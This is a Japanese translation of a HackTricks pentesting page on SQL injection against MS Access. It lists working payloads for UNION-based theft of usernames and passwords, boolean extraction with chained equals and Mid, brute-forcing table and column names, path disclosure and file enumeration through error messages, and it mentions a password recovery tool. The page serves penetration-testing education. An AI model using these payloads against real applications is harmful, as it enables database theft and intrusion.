hacktricks/pentesting-web/sql-injection/ms-access-sql-injection.md
2023-07-07 23:42:27 +00:00

13 KiB
Raw Blame History

MS Access SQLインジェクション

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

オンラインプレイグラウンド

DBの制限事項

文字列の連結

文字列の連結は、& (%26)+ (%2b)の文字で可能です。

1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

コメント

MS Accessにはコメントがありませんが、NULL文字を使用してクエリの最後を削除することができるようです。

1' union select 1,2 from table%00

もし動作しない場合は、クエリの構文を修正することもできます。

1' UNION SELECT 1,2 FROM table WHERE ''='

スタックされたクエリ

サポートされていません。

LIMIT

LIMIT演算子は実装されていません。ただし、TOP演算子を使用してSELECTクエリの結果を最初のN行に制限することができます。TOPは引数として、返される行数を表す整数を受け入れます。

1' UNION SELECT TOP 3 attr FROM table%00

TOPと同様に、**LAST**を使用することができます。これにより、末尾からの行を取得できます。

UNIONクエリ/サブクエリ

SQLiでは、通常、他のテーブルから情報を抽出するために新しいクエリをいかに実行するかを考える必要があります。MS Accessでは、サブクエリや追加のクエリではFROMが指定されている必要があります
したがって、UNION SELECTまたはUNION ALL SELECTまたは条件内のカッコ内のSELECTを実行したい場合は、常に有効なテーブル名を指定する必要があります
したがって、有効なテーブル名を知る必要があります。

-1' UNION SELECT username,password from users%00

チェーンの等号 + サブストリング

{% hint style="warning" %} これにより、テーブルの名前を知る必要なく、現在のテーブルの値を外部に漏洩させることができます。 {% endhint %}

MS Accessは、'1'=2='3'='asd'=falseのような奇妙な構文を許可します。通常、SQLインジェクションは**WHERE**句の中にあるため、これを悪用することができます。

MS AccessデータベースでSQLiがあるとしましょう。そして、列名がusernameであることを知っている(または推測している)場合、チェーンの等号テクニックが使用されたときのウェブアプリの異なる応答をチェックし、**Mid**関数を使用してサブストリングを取得することで、コンテンツを外部に漏洩させることができます。

'=(Mid(username,1,3)='adm')='

もしテーブルの名前とダンプするカラムが分かっている場合、MidLASTTOPの組み合わせを使用して、ブール型のSQLiを介してすべての情報を漏洩させることができます。

'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

オンラインプレイグラウンドで確認してください。

テーブル名のブルートフォース攻撃

チェーンイコールテクニックを使用して、次のような方法でテーブル名をブルートフォース攻撃することもできます。

'=(select+top+1+'lala'+from+<table_name>)='

より伝統的な方法も使用することができます。

-1' AND (SELECT TOP 1 <table_name>)%00

オンラインプレイグラウンドでこれを確認してください。

カラム名のブルートフォース攻撃

現在のカラム名をチェインイコールトリックを使用してブルートフォース攻撃することができます。

'=column_name='

または、group by を使用して:

-1' GROUP BY column_name%00

または、次のコードを使用して、別のテーブルの列名をブルートフォースで特定することもできます。

SELECT column_name FROM information_schema.columns WHERE table_name = 'table_name'

このクエリでは、table_nameの部分を特定のテーブル名に置き換える必要があります。

'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

データのダンプ

既にチェーンイコールテクニックについて現在のテーブルや他のテーブルからデータをダンプする方法について説明しました。しかし、他の方法もあります:

IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

要するに、このクエリは「if-then」ステートメントを使用して、成功した場合に「200 OK」をトリガーし、それ以外の場合は「500 Internal Error」をトリガーします。TOP 10演算子を利用することで、最初の10件の結果を選択することができます。その後、LASTの使用により、10番目のタプルのみを考慮することができます。その値を使用して、MID演算子を使用して単純な文字の比較を行うことができます。MIDとTOPのインデックスを適切に変更することで、すべての行の「username」フィールドの内容をダンプすることができます。

時間ベース

https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDNを参照してください。

その他の興味深い関数

  • Mid('admin',1,1)は位置1から長さ1の部分文字列を取得します初期位置は1です
  • LEN('1234')は文字列の長さを取得します。
  • ASC('A')は文字のASCII値を取得します。
  • CHR(65)はASCII値から文字列を取得します。
  • IIF(1=1,'a','b')はif thenです。
  • COUNT(*)はアイテムの数を数えます。

テーブルの列挙

ここから、テーブル名を取得するクエリを確認できます。

select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

ただし、SQLインジェクションでは、テーブルMSysObjectsを読み取る権限がない場合が非常に一般的です。

ファイルシステムアクセス

Webルートディレクトリの完全パス

Webルートの絶対パスを知ることは、さらなる攻撃を容易にするかもしれません。アプリケーションのエラーが完全に隠されていない場合、存在しないデータベースからデータを選択しようとすることで、ディレクトリパスを特定することができます。

http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Accessは、Webディレクトリの完全パス名を含むエラーメッセージで応答します。

ファイルの列挙

次の攻撃ベクトルは、リモートファイルシステム上のファイルの存在を推測するために使用できます。指定したファイルが存在する場合、MS Accessはデータベースの形式が無効であることを通知するエラーメッセージをトリガします。

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

ファイルを列挙する別の方法は、データベース.テーブルのアイテムを指定することです。指定したファイルが存在する場合、MS Accessはデータベースの形式エラーメッセージを表示します。

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

.mdbファイル名の推測

次のクエリを使用して、**データベースファイル名(.mdb**を推測することができます。

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

ここで、name[i]は.mdbファイル名であり、realTableはデータベース内の存在するテーブルです。MS Accessは常にエラーメッセージをトリガしますが、無効なファイル名と有効な.mdbファイル名を区別することができます。

.mdbパスワードクラッカー

Access PassViewは、Microsoft Access 95/97/2000/XPまたはJet Database Engine 3.0/4.0のメインデータベースパスワードを回復するために使用できる無料のユーティリティです。

参考文献

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥